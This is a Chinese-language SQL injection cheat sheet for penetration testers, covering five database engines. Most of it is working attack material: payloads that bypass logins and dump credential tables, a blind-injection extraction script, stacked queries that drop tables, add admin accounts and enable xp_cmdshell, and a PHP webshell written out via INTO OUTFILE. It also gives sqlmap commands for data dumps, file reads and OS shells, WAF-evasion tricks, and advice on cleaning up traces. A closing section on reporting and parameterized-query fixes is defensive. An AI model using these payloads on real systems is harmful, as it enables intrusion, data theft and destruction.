SQL 注入 — 渗透测试速查手册

覆盖 MySQL / MSSQL / PostgreSQL / Oracle / SQLite 五大引擎。实战导向,不讲基础语法。


1. 注入点识别

1.1 常见注入位置

位置示例
GET 参数?id=1
POST 表单username=admin&pass=123
CookieCookie: session=abc'
HTTP HeaderUser-Agent, Referer, X-Forwarded-For
JSON Body{"id": "1' OR 1=1--"}
RESTful Path/api/users/1 → /api/users/1'
XML 参数SOAP 接口中的字段值

1.2 手动探测方法

# 1. 单引号 / 双引号 / 括号 — 看是否报 SQL 错误
'
"
)
'))

# 2. 逻辑测试
' OR '1'='1
' OR '1'='2
1 AND 1=1
1 AND 1=2

# 3. 算术测试
?id=1       → 正常
?id=2-1     → 同 id=1 的结果 → 数字型
?id=1'+'1   → 同 id=2 的结果 → 字符型(MySQL)
?id=1' AND '1'='1  → 字符型确认

# 4. 闭合测试 — 尝试注释掉后续 SQL
' --
' #
' ) --
')) --

1.3 自动化探测

# Burp Suite → Intruder → 对参数 fuzz 单引号/双引号/括号
# sqlmap 初步探测
sqlmap -u "http://target/page?id=1" --batch --level=3 --risk=2

# 使用 --crawl 自动发现参数
sqlmap -u "http://target" --crawl=3 --batch --forms

1.4 无回显注入点判断

如果页面不显示 SQL 结果但行为有变化:

  • ' OR SLEEP(5)-- → 延迟 = 时间盲注
  • ' OR 1=1-- vs ' OR 1=2-- → 页面差异 = 布尔盲注
  • 触发自定义错误页面 → 可能存在错误注入

2. 数据库指纹识别

2.1 快速判断方法

特征DBMS
@@version 返回值MySQL / MSSQL
version() 返回值PostgreSQL / MySQL
错误含 You have an error in your SQL syntaxMySQL
错误含 Unclosed quotation markMSSQL
错误含 ORA- 前缀Oracle
错误含 SQLiteSQLite
错误含 pg_ 前缀函数PostgreSQL
Web 服务器 IIS + 错误含 ODBCMSSQL

2.2 指纹 Payload

-- MySQL
SELECT @@version;
SELECT version();

-- MSSQL
SELECT @@version;
SELECT SERVERPROPERTY('productversion');

-- PostgreSQL
SELECT version();

-- Oracle
SELECT banner FROM v$version;
SELECT version FROM v$instance;

-- SQLite
SELECT sqlite_version();

-- 通用探测(逐个尝试,哪个报错最少就是哪个)
' UNION SELECT NULL--          ← MSSQL / MySQL / PG 都能用
' UNION SELECT NULL FROM dual-- ← Oracle 特有

2.3 系统函数指纹表

函数MySQLMSSQLPostgreSQLOracleSQLite
version() / @@version✅✅✅❌❌
current_user✅✅✅✅❌
user()✅✅❌❌❌
database()✅❌✅(current_database)❌❌
db_name()❌✅❌❌❌
sqlite_version()❌❌❌❌✅

3. Payload 速查

3.1 登录绕过

# 万能密码(字符型)
admin' OR '1'='1' --
admin' OR '1'='1' #
admin' OR 1=1 -- -
admin" OR "1"="1" --
') OR ('1'='1' --
') OR 1=1 -- -

# 万能密码(数字型)
OR 1=1
OR 1=1 --

# 绕过特定登录逻辑
admin'--                         ← 注释掉密码检查
'=' '                            ← username=''='' AND password=''=''  → True
' OR ''='                        ← 类似效果
' OR 1=1 LIMIT 1 --             ← 限制只返回一行

3.2 Union-based 注入

-- Step 1: 确定列数
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY N-- -              ← 报错时 N-1 即为列数

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -  ← 逐个增加直到不报错

-- Step 2: 确定回显列
' UNION SELECT 1,2,3-- -      ← 哪些数字出现在页面上就是回显列

-- Step 3: 提取数据
-- 版本
' UNION SELECT 1,@@version,3-- -

-- 当前数据库
' UNION SELECT 1,database(),3-- -

-- 所有数据库
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -

-- 表名
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='target_db'-- -

-- 列名
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

-- 数据
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -

-- 无 information_schema 时(MySQL 4 低权限)
' UNION SELECT 1,group_concat(table_name),3 FROM mysql.tables_priv-- -

3.3 Error-based 注入

-- MySQL 5+: extractvalue / updatexml
' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))-- -
' AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)-- -

-- MySQL: 利用 floor + rand + group by 报错
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT @@version),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- MySQL: exp() 报错 (5.5~5.7)
' AND exp(~(SELECT * FROM (SELECT @@version)a))-- -

-- MSSQL: convert/cast 报错
' AND 1=convert(int,(SELECT @@version))-- -
' AND 1=cast((SELECT @@version) as int)-- -

-- PostgreSQL: CAST 报错
' AND 1=cast((SELECT version()) as int)-- -

-- Oracle: XMLType 报错
' AND 1=XMLType('||(SELECT version FROM v$instance)||'>')-- -

-- 提取数据示例(MySQL extractvalue,长度限制 32 字符,需 substr)
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,0x3a,password) FROM users),1,31),0x7e))-- -
' AND extractvalue(1,concat(0x7e,substr((SELECT group_concat(username,0x3a,password) FROM users),32,31),0x7e))-- -

3.4 Boolean 盲注

-- 判断数据库名长度
' AND length(database())=N-- -

-- 逐字符爆破数据库名
' AND ascii(substr(database(),1,1))>N-- -
' AND ascii(substr(database(),1,1))=N-- -

-- 爆破表名
' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=N-- -

-- 爆破列名
' AND ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=N-- -

-- 爆破数据
' AND ascii(substr((SELECT username FROM users LIMIT 0,1),1,1))=N-- -
# sqlmap 自动化布尔盲注
sqlmap -u "http://target/?id=1" --technique=B --batch --dump

# Python 脚本自动化模板
import requests
target = "http://target/page?id=1"
result = ""
for i in range(1, 50):
    for c in range(32, 127):
        payload = f"' AND ascii(substr(database(),{i},1))={c}-- -"
        r = requests.get(target + payload)
        if "正常内容" in r.text:   # 替换为实际判断条件
            result += chr(c)
            break
print(result)

3.5 Time-based 盲注

-- MySQL
' AND IF(ascii(substr(database(),1,1))>96,SLEEP(5),0)-- -
' AND IF(length(database())=8,SLEEP(5),0)-- -

-- MSSQL
'; IF (ascii(substring((SELECT TOP 1 table_name FROM information_schema.tables),1,1))>64) WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL
'; SELECT CASE WHEN (ascii(substr(current_database(),1,1))>64) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

-- Oracle
' AND CASE WHEN (ascii(substr((SELECT banner FROM v$version WHERE rownum=1),1,1))>64) THEN dbms_pipe.receive_message('a',5) ELSE NULL END IS NULL-- -

-- SQLite(无 SLEEP,用 heavy query 代替)
' AND CASE WHEN (unicode(substr(sqlite_version(),1,1))>51) THEN randomblob(999999999) ELSE 0 END-- -
# sqlmap 时间盲注
sqlmap -u "http://target/?id=1" --technique=T --time-sec=5 --batch --dump

# 使用 --string 参数指定判断条件(如果响应差异明显)
sqlmap -u "http://target/?id=1" --technique=B --string="Welcome" --batch

3.6 堆叠查询 (Stacked Queries)

-- 前提:后端允许执行多条 SQL 语句(MySQL 默认不允许,MSSQL/PG/Oracle 允许)

-- MySQL(需要支持,如 PDO::ATTR_EMULATE_PREPARES = false)
'; DROP TABLE users;-- -
'; INSERT INTO users(username,password) VALUES('hacker','pass123');-- -

-- MSSQL
'; EXEC xp_cmdshell('whoami');-- -
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -

-- PostgreSQL
'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id';-- -
'; SELECT * FROM cmd_exec;-- -

-- 添加管理员账号
'; INSERT INTO admin(username,password) VALUES('xyvora','hash_of_password');-- -

-- 写 Webshell (MySQL + FILE 权限)
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';-- -

4. 完整渗透流程

Phase 1 — 信息收集
  ├── 收集目标 URL / 参数 / API 端点
  ├── 识别 Web 技术栈(Wappalyzer / whatweb)
  └── 确定 DBMS 类型(错误页面 / Header / 响应特征)

Phase 2 — 注入点探测
  ├── 手动测试:单引号/双引号/括号
  ├── 自动扫描:sqlmap --crawl / Burp Scanner
  └── 确定注入类型:回显 / 布尔 / 时间 / 错误 / 堆叠

Phase 3 — 数据库枚举
  ├── 确认当前用户 + 权限
  │   ├── current_user / user()
  │   ├── super_priv (MySQL) / IS_SRVROLEMEMBER('sysadmin') (MSSQL)
  │   └── SELECT has_database_privilege / has_schema_privilege
  ├── 枚举数据库
  │   └── information_schema.schemata / db_name()
  ├── 枚举表
  │   └── information_schema.tables WHERE table_schema='目标库'
  ├── 枚举列
  │   └── information_schema.columns WHERE table_name='目标表'
  └── 提取敏感数据
      └── users / admin / credentials 表

Phase 4 — 权限提升 & 横向移动
  ├── 检查 FILE 权限 (MySQL: secure_file_priv)
  ├── 检查能否执行系统命令
  │   ├── MSSQL: xp_cmdshell
  │   ├── PostgreSQL: COPY FROM PROGRAM
  │   └── MySQL: UDF / INTO OUTFILE + Webshell
  ├── 读取敏感文件
  │   ├── /etc/passwd, /etc/shadow
  │   ├── .env, config.php, wp-config.php
  │   └── SSH 私钥
  └── 写入 Webshell / 反弹 Shell

Phase 5 — 后渗透
  ├── 提取数据库中所有密码 hash
  ├── 密码破解(hashcat / john)
  ├── 检查其他数据库中的横向凭据
  └── 清理痕迹

5. sqlmap 速查

5.1 基础用法

# GET 请求
sqlmap -u "http://target/page?id=1" --batch --dump

# POST 请求
sqlmap -u "http://target/login" --data="user=admin&pass=123" --batch

# 从 Burp 请求文件
sqlmap -r request.txt --batch --dump

# Cookie 注入
sqlmap -u "http://target/page" --cookie="id=1*" --batch    (* 标记注入点)

# Header 注入
sqlmap -u "http://target/page" --headers="X-Forwarded-For: 1*" --batch

# 指定注入技术
sqlmap -u "http://target/?id=1" --technique=BEUST    # B=布尔 E=错误 U=联合 S=堆叠 T=时间

# 指定数据库
sqlmap -u "http://target/?id=1" --dbms=mysql

# 指定参数
sqlmap -u "http://target/?id=1&name=test" -p id

# 指定 Level 和 Risk
sqlmap -u "http://target/?id=1" --level=5 --risk=3

5.2 数据提取

# 枚举数据库
sqlmap -u "http://target/?id=1" --dbs

# 枚举表
sqlmap -u "http://target/?id=1" -D target_db --tables

# 枚举列
sqlmap -u "http://target/?id=1" -D target_db -T users --columns

# 转储数据
sqlmap -u "http://target/?id=1" -D target_db -T users --dump

# 转储指定列
sqlmap -u "http://target/?id=1" -D target_db -T users -C "username,password" --dump

# 转储所有数据库
sqlmap -u "http://target/?id=1" --dump-all --exclude-sysdbs

# 执行自定义 SQL
sqlmap -u "http://target/?id=1" --sql-query="SELECT @@version"

5.3 权限与 OS 利用

# 检查 DBA 权限
sqlmap -u "http://target/?id=1" --is-dba

# 读取文件
sqlmap -u "http://target/?id=1" --file-read="/etc/passwd"

# 写入文件
sqlmap -u "http://target/?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# OS Shell
sqlmap -u "http://target/?id=1" --os-shell

# SQL Shell(交互式 SQL)
sqlmap -u "http://target/?id=1" --sql-shell

5.4 绕过与调优

# WAF 绕过
sqlmap -u "http://target/?id=1" --skip-waf --random-agent

# 使用 tamper 脚本
sqlmap -u "http://target/?id=1" --tamper=space2comment,between,randomcase
sqlmap -u "http://target/?id=1" --tamper=charencode    # URL 编码
sqlmap -u "http://target/?id=1" --tamper=apostrophemask # UTF-8 全角

# 自定义前缀/后缀
sqlmap -u "http://target/?id=1" --prefix="%'))" --suffix="-- -"

# CSRF Token 绕过
sqlmap -u "http://target/page" --csrf-token="token" --csrf-url="http://target/get-token"

# 参数随机化
sqlmap -u "http://target/?id=1&uid=123" --randomize=uid

# 计算参数(如 md5)
sqlmap -u "http://target/?id=1&h=xxx" --eval="import hashlib; h=hashlib.md5(id).hexdigest()"

# 代理
sqlmap -u "http://target/?id=1" --proxy="http://127.0.0.1:8080"

# 延迟(避免被封)
sqlmap -u "http://target/?id=1" --delay=2

# 多线程
sqlmap -u "http://target/?id=1" --threads=10

5.5 常用 Tamper 脚本

Tamper作用
space2comment空格 → /**/
between> → NOT BETWEEN 0 AND,= → BETWEEN
randomcase随机大小写
charencodeURL 编码
apostrophemask单引号 → UTF-8 全角
halfversionedmorekeywords每个关键字前加 MySQL 注释
versionedmorekeywords用 /*!...*/ 包裹关键字
space2plus空格 → +
unionalltounionUNION ALL → UNION
equaltolike= → LIKE

6. 数据库语法差异表

6.1 注释符

DBMS行注释行内注释
MySQL-- (注意空格), #/* */
MSSQL--/* */
PostgreSQL--/* */
Oracle--/* */
SQLite--/* */

6.2 字符串连接

DBMS语法
MySQLCONCAT('a','b')
MSSQL'a'+'b' 或 CONCAT('a','b') (2012+)
PostgreSQL'a'||'b' 或 CONCAT('a','b')
Oracle'a'||'b' 或 CONCAT('a','b')
SQLite'a'||'b'

6.3 LIMIT 语法

DBMS语法
MySQLLIMIT 10 OFFSET 5 或 LIMIT 5,10
MSSQLSELECT TOP 10 ... / OFFSET 5 ROWS FETCH NEXT 10 ROWS ONLY
PostgreSQLLIMIT 10 OFFSET 5
OracleWHERE ROWNUM <= 10 / OFFSET 5 ROWS FETCH NEXT 10 ROWS ONLY (12c+)
SQLiteLIMIT 10 OFFSET 5

6.4 逐行提取(无 GROUP_CONCAT 的 DBMS)

-- MSSQL: FOR XML PATH
SELECT username+','+password FROM users FOR XML PATH('')

-- PostgreSQL: STRING_AGG
SELECT string_agg(username||':'||password,',') FROM users

-- Oracle: LISTAGG
SELECT LISTAGG(username,',') WITHIN GROUP (ORDER BY id) FROM users

-- SQLite: GROUP_CONCAT
SELECT group_concat(username||':'||password,',') FROM users

6.5 多语句执行

DBMS支持堆叠说明
MySQL❌ (默认)PDO::ATTR_EMULATE_PREPARES=true 时不允许; mysqli_multi_query 可
MSSQL✅; 分隔即可
PostgreSQL✅; 分隔即可
Oracle⚠️仅支持 PL/SQL 块 BEGIN ... END;
SQLite✅; 分隔即可

6.6 系统命令执行方式

DBMS方法
MySQLUDF / INTO OUTFILE + Webshell
MSSQLxp_cmdshell / sp_OACreate
PostgreSQLCOPY cmd FROM PROGRAM 'cmd' / pg_exec()
OracleDBMS_PIPE.RECEIVE_MESSAGE (间接) / Java Stored Procedure

6.7 信息模式查询

目标MySQLMSSQLPostgreSQLOracle
数据库列表schematasys.databasesschemataall_users
表列表tablessys.objectstablesall_tables
列列表columnssys.columnscolumnsall_tab_columns
当前用户user()suser_sname()current_userSYS_CONTEXT('USERENV','SESSION_USER')
当前库database()db_name()current_database()SYS_CONTEXT('USERENV','DB_NAME')

7. 绕过 WAF 技巧

7.1 空格绕过

/**/            ← MySQL 注释替代空格
%09             ← Tab (水平制表符)
%0a             ← 换行符
%0b             ← 垂直制表符
%0c             ← 换页符
%0d             ← 回车符
%a0             ← 不间断空格 (某些 WAF 不检测)
+               ← URL 中的加号 (GET 参数)

7.2 关键字绕过

# 大小写混合
SeLeCt, UnIoN, FrOm

# 双写(WAF 只替换一次)
UNIunionON, SELselectECT

# 内联注释
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- -
/*!UNION*/ /*!SELECT*/ 1,2,3-- -

# 等号绕过
LIKE        → ' AND 1 LIKE 1-- -
BETWEEN     → ' AND 1 BETWEEN 1 AND 1-- -
IN          → ' AND 1 IN (1)-- -
REGEXP      → ' AND 1 REGEXP '1'-- -    (MySQL)
RLIKE       → 同上

7.3 引号绕过

# 无引号注入(数字型)
?id=1 AND 1=1-- -
?id=1 AND ascii(substr(database(),1,1))=100-- -

# 十六进制
0x61646D696E    → 'admin'
CHAR(97,100,109,105,110)  → 'admin' (MSSQL)

# 宽字节注入(GBK 编码)
%bf%27       → \xbf' → GBK 解码为 運' → 单引号逃逸

7.4 编码绕过

# URL 双重编码
%2527        → %27 → '
%2520        → %20 → 空格

# Unicode / UTF-8 全角
' (U+FF07)  → 全角单引号
+ (U+FF0B)  → 全角加号

# Base64(部分应用自动解码)
# Hex 编码

7.5 HTTP 参数污染 (HPP)

# 同一参数传多次
?id=1&id=1' OR 1=1-- -

# 不同 WAF / 后端取值策略不同
# Cloudflare 取第一个,IIS 取最后一个,JSP 取所有(逗号拼接)

7.6 分块传输绕过 (Chunked TE)

POST /page HTTP/1.1
Transfer-Encoding: chunked

5
1' OR 
6
1=1-- -
0

Burp 插件:HTTP Request Smuggler 或 Chunked coding converter

7.7 其他技巧

# 超长请求体(部分 WAF 不扫描大 payload)
# 垃圾参数填充(WAF 超时跳过)
# 大小写 Content-Type 变换
# 使用 HTTP/2(部分 WAF 不能解析)
# JSON 注入(WAF 不解析 JSON body)
{"id": "1' OR 1=1-- -"}

# HQL 注入(Hibernate 查询语言,绕过 SQL 层 WAF)

8. 漏洞报告撰写

8.1 报告结构

1. 漏洞概述
   - 漏洞类型:SQL Injection (具体分类)
   - 严重程度:Critical / High / Medium
   - 影响范围:受影响的 URL / API / 参数

2. 漏洞详情
   - 注入点:具体的 URL + 参数
   - 注入类型:Union / Boolean / Time / Error / Stacked
   - DBMS 类型:MySQL / MSSQL / ...
   - 数据库版本:x.x.x

3. 复现步骤
   Step 1: 打开 URL
   Step 2: 在参数 id 中输入 payload: xxx
   Step 3: 观察响应 / 等待延迟

4. 证据截图
   - Burp 请求/响应截图
   - sqlmap 输出截图
   - 提取到的数据截图(脱敏)

5. 影响评估
   - 可提取的敏感数据类型(用户凭据、个人信息)
   - 是否可提权(读写文件、RCE)
   - 潜在业务影响

6. 修复建议
   - 使用参数化查询 / 预编译语句(首选)
   - 输入验证 + 白名单
   - 最小权限原则
   - WAF 作为辅助防线(非替代)

8.2 CVSS 评分参考

场景建议评分
SQLi + 可读取任意数据Critical (9.0+)
SQLi + DBA 权限 + RCECritical (10.0)
SQLi + 仅布尔盲注、数据有限High (7.5-8.9)
SQLi + 需要管理员权限才能触发Medium (4.0-6.9)

8.3 修复建议模板

【代码层面】
- 使用参数化查询 (PreparedStatement / ORM)
  错误: query = "SELECT * FROM users WHERE id=" + user_input
  正确: query = "SELECT * FROM users WHERE id=?"  + bind(user_input)
- 使用存储过程(但存储过程内也不能拼接 SQL)
- 输入验证:白名单允许的字符集,长度限制

【架构层面】
- 最小权限:数据库连接账号不要用 root / sa
- 禁用危险功能:xp_cmdshell, FILE 权限, UDF
- 错误信息脱敏:生产环境不返回 SQL 错误给用户

【辅助防线】
- WAF 规则更新(作为额外层,不能替代代码修复)
- 数据库审计日志
- IDS/IPS 检测异常 SQL 模式

9. 附录:常用 SQL 注入辅助工具

工具用途
sqlmap全自动 SQL 注入检测 + 利用
Burp Suite手动测试 + Intruder 爆破 + Scanner
HavijGUI 自动化(仅 MySQL/MSSQL,过时但偶尔有用)
JSky / Pangolin国产 SQL 注入工具
NoSQLMapNoSQL 注入(MongoDB / CouchDB)
SQLiPyBurp 插件,调用 sqlmap API
commix命令注入工具(有时与 SQLi 组合利用)

10. 快速参考卡片

判断注入:  ' " ) AND 1=1 AND 1=2
判断列数:  ORDER BY N / UNION SELECT NULL,NULL,...
回显列:    UNION SELECT 1,2,3
版本:      @@version / version()
当前库:    database() / db_name()
所有库:    schemata
表:        tables WHERE schema=目标库
列:        columns WHERE table=目标表
数据:      GROUP_CONCAT(列) FROM 表
布尔盲注:  AND ascii(substr(...))=N
时间盲注:  AND IF(条件,SLEEP(5),0)
错误注入:  extractvalue / updatexml / floor+rand
堆叠:      ; 执行新语句
写文件:    INTO OUTFILE + Webshell
读文件:    LOAD_FILE() / --file-read
RCE:       xp_cmdshell / COPY FROM PROGRAM / UDF